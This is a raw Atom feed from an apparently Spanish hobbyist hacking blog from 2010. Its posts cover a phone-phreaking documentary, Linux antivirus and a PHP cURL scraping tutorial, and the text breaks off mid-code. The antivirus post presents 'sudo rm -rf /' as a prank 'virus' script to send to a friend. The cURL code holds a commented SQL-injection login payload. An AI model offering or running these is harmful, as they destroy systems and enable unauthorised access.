Net Panzer'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S0_IcPEYIII/AAAAAAAAASw/zmVrWsMSmOs/s72-c/medium.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-1023389003477475295</id><published>2010-01-15T02:38:00.000+01:00</published><updated>2010-01-15T02:38:08.926+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Cine - Parte 2 (PreHackers)</title><content type='html'>Los Prehackers o hackers de teléfonos fueron los pioneros del hacking. En ediciones anteriores hablamos sobre la &lt;a href="http://donzeyt.blogspot.com/2010/01/ingenieria-social-herramienta-muy.html"&gt;Ingeniería Social&lt;/a&gt; y sobre sus principios. Sin duda es un tema muy interesante por lo que os he traído este documental que reúne a 3 de los grandes, uno de ellos fundador de Apple por lo que recomiendo su visualización.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/oloOmqOCXN4&amp;hl=es_ES&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/oloOmqOCXN4&amp;hl=es_ES&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-1023389003477475295?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/1023389003477475295/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/cine-parte-2-prehackers.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1023389003477475295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1023389003477475295'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/cine-parte-2-prehackers.html' title='Cine - Parte 2 (PreHackers)'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-935329928196384301</id><published>2010-01-15T02:03:00.001+01:00</published><updated>2010-01-15T04:00:46.498+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Antivirus'/><title type='text'>Linux - AntiVirus</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S0-9e7FGZII/AAAAAAAAASg/29T8pq1cPxc/s1600-h/antivirus.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S0-9e7FGZII/AAAAAAAAASg/29T8pq1cPxc/s320/antivirus.gif" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;A petición de uno de nuestros lectores proceredemos a hablar sobre los &lt;b&gt;virus&lt;/b&gt; en &lt;b&gt;Linux&lt;/b&gt; y por supuesto de los &lt;b&gt;antivirus&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Hoy en día la &lt;b&gt;existencia&lt;/b&gt; de &lt;b&gt;virus&lt;/b&gt; en &lt;b&gt;Linux&lt;/b&gt; es muy muy &lt;b&gt;baja&lt;/b&gt; por no decir casi inexistente ya que normalmente los virus se suelen aprovechar de &lt;b&gt;fallos&lt;/b&gt; de &lt;b&gt;seguridad&lt;/b&gt; en las &lt;b&gt;aplicaciones&lt;/b&gt;. Como el &lt;b&gt;Software Libre&lt;/b&gt; tiene muchos &lt;b&gt;ojos&lt;/b&gt;, el número de fallos es &lt;b&gt;pequeño&lt;/b&gt; y además se &lt;b&gt;corrigen&lt;/b&gt; &lt;b&gt;rápido&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;No se puede afirmar que no &lt;b&gt;existen&lt;/b&gt; &lt;b&gt;virus&lt;/b&gt; en &lt;b&gt;linux&lt;/b&gt; ya que se están dando casos, pero no son nada alarmantes. El principal &lt;b&gt;problema&lt;/b&gt; que se encuentran los &lt;b&gt;programadores&lt;/b&gt; de virus es que hay un montón de &lt;b&gt;distribuciones&lt;/b&gt;, con un montón de &lt;b&gt;configuraciones&lt;/b&gt; y &lt;b&gt;comandos&lt;/b&gt; diferentes. Realmente podría &lt;b&gt;crearse&lt;/b&gt; el virus pero de ahí ha &lt;b&gt;esparcirlo&lt;/b&gt; mundialmente hay un trecho.&lt;br /&gt;&lt;br /&gt;Por todo esto resulta bastante &lt;b&gt;complicado&lt;/b&gt; crear un virus para Linux aunque actualmente &lt;b&gt;Mac&lt;/b&gt; está siendo &lt;b&gt;objetivo&lt;/b&gt; de nuevos &lt;b&gt;virus&lt;/b&gt; debido a que su &lt;b&gt;uso&lt;/b&gt; se esta &lt;b&gt;popularizando&lt;/b&gt;. Esto podría llegar también para las &lt;b&gt;distribuciones&lt;/b&gt; basadas en &lt;b&gt;Debian&lt;/b&gt; como &lt;b&gt;Ubuntu&lt;/b&gt; que podría ser el principal objetivo de estos virus.&lt;br /&gt;&lt;br /&gt;En cualquier caso pese a que existen pocos virus para Linux, ys existen &lt;b&gt;AntiVirus&lt;/b&gt; libres y privativos gratuitos ambos, que se &lt;b&gt;ejecutan&lt;/b&gt; &lt;b&gt;en demanda&lt;/b&gt;, es decir, &lt;b&gt;no&lt;/b&gt; tienen &lt;b&gt;protección&lt;/b&gt; &lt;b&gt;continua&lt;/b&gt; por lo que no recomiendo su instalación.&lt;br /&gt;&lt;br /&gt;Pero por si acaso y si utilizas wine te invito a que lo instales ya que gracias a este popular programa algunos virus que jamás podrían funcionar en Linux se están ejecutan aunque el daño que podrían realizar es bastante limitado.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S0-9iiusS2I/AAAAAAAAASo/lHbtqi0OS4o/s1600-h/sudorm.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S0-9iiusS2I/AAAAAAAAASo/lHbtqi0OS4o/s320/sudorm.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Además también hay que mencionar que para hacer realmente &lt;b&gt;daño&lt;/b&gt; hay que tener &lt;b&gt;permisos&lt;/b&gt; de &lt;b&gt;super usuario&lt;/b&gt; por lo que se hace &lt;b&gt;complicado&lt;/b&gt; tener éxito. Pese a todo esto, aquí traemos nuestro primer Virus para linux (por llamarlo de alguna manera) que podríamos crear. Sería el típico ejecutable que le mandas a un amigo llamado &lt;b&gt;QueMajoSoy.sh&lt;/b&gt; que contuviera la siguiente línea:&lt;br /&gt;&lt;blockquote&gt;#NO LO EJECUTES GAÑAN&lt;br /&gt;&lt;b&gt;sudo rm -rf /&lt;/b&gt;&lt;br /&gt;#NO LO EJECUTES GAÑAN&lt;br /&gt;&lt;/blockquote&gt;Este script tan sencillo borraría todas las carpetas del sistema. Nunca lo he probado aunque seguramente sea una leyenda urbana. En cualquier caso la sintaxis dicta que ese comando ejecutado con permisos de usuario root eliminará todos los archivos del sistema a la fuerza y recursivamente.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;ANTIVIRUS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Aunque ningún antivirus te salve de eso, como este es un post sobre &lt;b&gt;AntiVirus&lt;/b&gt; hablaremos de &lt;b&gt;ClamAv&lt;/b&gt; que es Software Libre. Los que usemos Gnome ejecutaremos en un terminal:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install clamav&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Listo ya tendremos nuestro antivirus que &lt;b&gt;analizará&lt;/b&gt; nuestro &lt;b&gt;disco&lt;/b&gt; y &lt;b&gt;archivos&lt;/b&gt; cuando se lo pidamos. &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-935329928196384301?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/935329928196384301/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/linux-antivirus.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/935329928196384301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/935329928196384301'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/linux-antivirus.html' title='Linux - AntiVirus'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S0-9e7FGZII/AAAAAAAAASg/29T8pq1cPxc/s72-c/antivirus.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5120098700069774551</id><published>2010-01-15T01:38:00.001+01:00</published><updated>2010-01-15T04:33:41.992+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Curl'/><title type='text'>PHP y Curl - Curling the nation</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S0-4uKGFGQI/AAAAAAAAASI/yo11fjCIP9s/s1600-h/php8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S0-4uKGFGQI/AAAAAAAAASI/yo11fjCIP9s/s320/php8.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;Curl&lt;/b&gt; es una &lt;b&gt;librería&lt;/b&gt; en &lt;b&gt;PHP&lt;/b&gt; que emplearemos bastante en este blog para hacer &lt;b&gt;peticiones&lt;/b&gt; a cualquier tipo de &lt;b&gt;protocolo&lt;/b&gt;, entre ellos,&amp;nbsp;&lt;b&gt;FTP&lt;/b&gt;, &lt;b&gt;FTPS&lt;/b&gt;, &lt;b&gt;HTTP&lt;/b&gt;, &lt;b&gt;HTTPS&lt;/b&gt;, &lt;b&gt;TFTP&lt;/b&gt;, &lt;b&gt;SCP&lt;/b&gt;, &lt;b&gt;SFTP&lt;/b&gt;, &lt;b&gt;Telnet&lt;/b&gt;,&lt;b&gt;DICT&lt;/b&gt;, &lt;b&gt;FILE&lt;/b&gt; y &lt;b&gt;LDAP&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;También soporta &lt;b&gt;certificados&lt;/b&gt; &lt;b&gt;HTTPS&lt;/b&gt;, &lt;b&gt;HTTP POST&lt;/b&gt;,&lt;b&gt; HTTPPUT&lt;/b&gt;,&lt;b&gt; subidas FTP&lt;/b&gt;, &lt;b&gt;Kerberos&lt;/b&gt;, subidas mediante &lt;b&gt;formulario&lt;/b&gt; &lt;b&gt;HTTP&lt;/b&gt;, &lt;b&gt;proxies&lt;/b&gt;,&lt;b&gt;cookies&lt;/b&gt;, &lt;b&gt;autentificación&lt;/b&gt; mediante &lt;b&gt;usuario+contraseña&lt;/b&gt; (&lt;b&gt;Basic&lt;/b&gt;, &lt;b&gt;DIgest&lt;/b&gt;, NTLMy &lt;b&gt;Negotiate&lt;/b&gt; para HTTP y kerberos4 para FTP), &lt;b&gt;continuación&lt;/b&gt; detransferencia de archivos, &lt;b&gt;tunneling&lt;/b&gt; de proxy http y muchas otrasprestaciones lo que lo convierte en la &lt;b&gt;auténtica navaja suiza&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Nosotros usaremos &lt;b&gt;Curl&lt;/b&gt; con &lt;b&gt;PHP&lt;/b&gt; aunque se puede trabajar como programa en un terminal pero no cumple los requisitos que nosotros queremos ya que mediante PHP podremos &lt;b&gt;limpiar&lt;/b&gt; el resultado y &lt;b&gt;manejarlo&lt;/b&gt; a nuestro antojo.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;INSTALACIÓN&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Primero de todo tienes que tener &lt;b&gt;php5&lt;/b&gt; y&lt;b&gt; php5-cli&lt;/b&gt; para &lt;b&gt;programar&lt;/b&gt;, &lt;b&gt;compilar&lt;/b&gt; y &lt;b&gt;ejecutar&lt;/b&gt;. Esto quedó &lt;b&gt;explicado&lt;/b&gt; en &lt;a href="http://donzeyt.blogspot.com/2009/12/php-crear-un-servidor-local-para.html"&gt;ediciones anteriores&lt;/a&gt;. En cualquier caso para &lt;b&gt;instalar curl&lt;/b&gt; ejecutaremos en un terminal:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install php5-curl&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado abriremos nuestro &lt;b&gt;IDE&lt;/b&gt; favorito, en nuestro caso &lt;a href="http://donzeyt.blogspot.com/2010/01/geany-compilando-php-pascal-y-ada-95.html"&gt;&lt;b&gt;Geany&lt;/b&gt;&lt;/a&gt; y procederemos a crear nuestro primer programa de prueba.&lt;br /&gt;&lt;blockquote style="color: #38761d;"&gt;&amp;lt;?php&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ch = curl_init('http://www.example.com');//Dirección&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //curl_setopt ($ch, CURLOPT_POST, 1);//Para Enviar POST&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //curl_setopt ($ch, CURLOPT_POSTFIELDS, "usuario=peter&amp;amp;contra=hola");//Define usuario y contraseña&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //Para guardar en variable la salida&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $salida= curl_exec ($ch);//Guardamos la salida en una variable&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close ($ch);//Cerramos conexión&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo $salida;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;Muy bien, he &lt;b&gt;comentado&lt;/b&gt; el &lt;b&gt;código&lt;/b&gt; para que aprendáis el funcionamiento básico. Las opciónes de &lt;b&gt;POST&lt;/b&gt; están &lt;b&gt;comentadas&lt;/b&gt; pues &lt;b&gt;no se usarán&lt;/b&gt; de momento pero es &lt;b&gt;útil&lt;/b&gt; tenerlas a mano para cuando queramos intentar &lt;b&gt;INYECCIONES&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;El script abre la página &lt;b&gt;example.com&lt;/b&gt; e imprime su &lt;b&gt;código fuente&lt;/b&gt;. Si lo ejecutamos a través de servidor se verá la página y si lo ejecutamos a través del IDE se verá el código fuente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;DESCARGARSE TODA LA WIKIPEDIA&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S0-48xtW9rI/AAAAAAAAASQ/IW8odlQl3UM/s1600-h/wikipedia-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S0-48xtW9rI/AAAAAAAAASQ/IW8odlQl3UM/s320/wikipedia-logo.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Conseguir la WikiPedia por la cara es un &lt;b&gt;ejemplo&lt;/b&gt; bastante &lt;b&gt;sencillo&lt;/b&gt; pero realmente muestra la potencia de esta librería por eso os lo enseñamos. Para ello crearemos un sencillo &lt;b&gt;script&lt;/b&gt; para bajarnos la &lt;b&gt;WikiPedia&lt;/b&gt; entera a modo de &lt;b&gt;buscador primitivo&lt;/b&gt; mediante la &lt;b&gt;función&lt;/b&gt; especial del la wiki &lt;b&gt;aleatoria&lt;/b&gt;.&lt;br /&gt;Para ello creamos una carpeta llamada &lt;b&gt;Enciclopedia&lt;/b&gt; y guardamos nuestro &lt;b&gt;copypaste.php&lt;/b&gt; que contendrá:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #38761d;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;/*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is free software; you can redistribute it and/or modify&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; it under the terms of the GNU General Public License as published by&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the Free Software Foundation; either version 2 of the License, or&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (at your option) any later version.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is distributed in the hope that it will be useful,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GNU General Public License for more details.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You should have received a copy of the GNU General Public License&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; along with this program; if not, write to the Free Software&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MA 02110-1301, USA.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (true){//Bucle infinito!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $ch = curl_init('http://es.wikipedia.org/wiki/Especial:Aleatoria');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; //curl_setopt ($ch, CURLOPT_POST, 1);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; //curl_setopt ($ch, CURLOPT_POSTFIELDS, "contraseña='OR 1=1");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);//Para que siga las redirecciones.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salida = curl_exec ($ch);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close ($ch);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; //Cogemos el título con expresión regular&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; preg_match("/(\&amp;lt;title&amp;gt;)(.)*(\&amp;lt;\/title&amp;gt;)/i", $salida, $resultados);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; //Limpiamos el titulo para guardarlo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $nombre = $resultados[0];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $nombre = str_replace("&amp;lt;title&amp;gt;", "",$nombre);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $nombre = str_replace("- Wikipedia, la enciclopedia libre&amp;lt;/title&amp;gt;", "",$nombre);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $nombre = str_replace(" ","_",$nombre);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $nombre = $nombre.".html";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (!file_exists($nombre)){//No existe el archivo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; //Quitamos gran parte de información basura&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salida = explode('&amp;lt;div id="content"&amp;gt;',$salida);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salida = '&amp;lt;div id="content"&amp;gt;'.$salida[1];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salida = explode('&amp;lt;div class="printfooter"&amp;gt;',$salida);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salida = $salida[0];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; //Guardamos&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $fp = fopen($nombre, 'w');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; //Cabeceras para que no aparezcan códigos raros&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fwrite($fp,'&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es" dir="ltr"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;title&amp;gt;'. str_replace("_"," ",$nombre).'&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 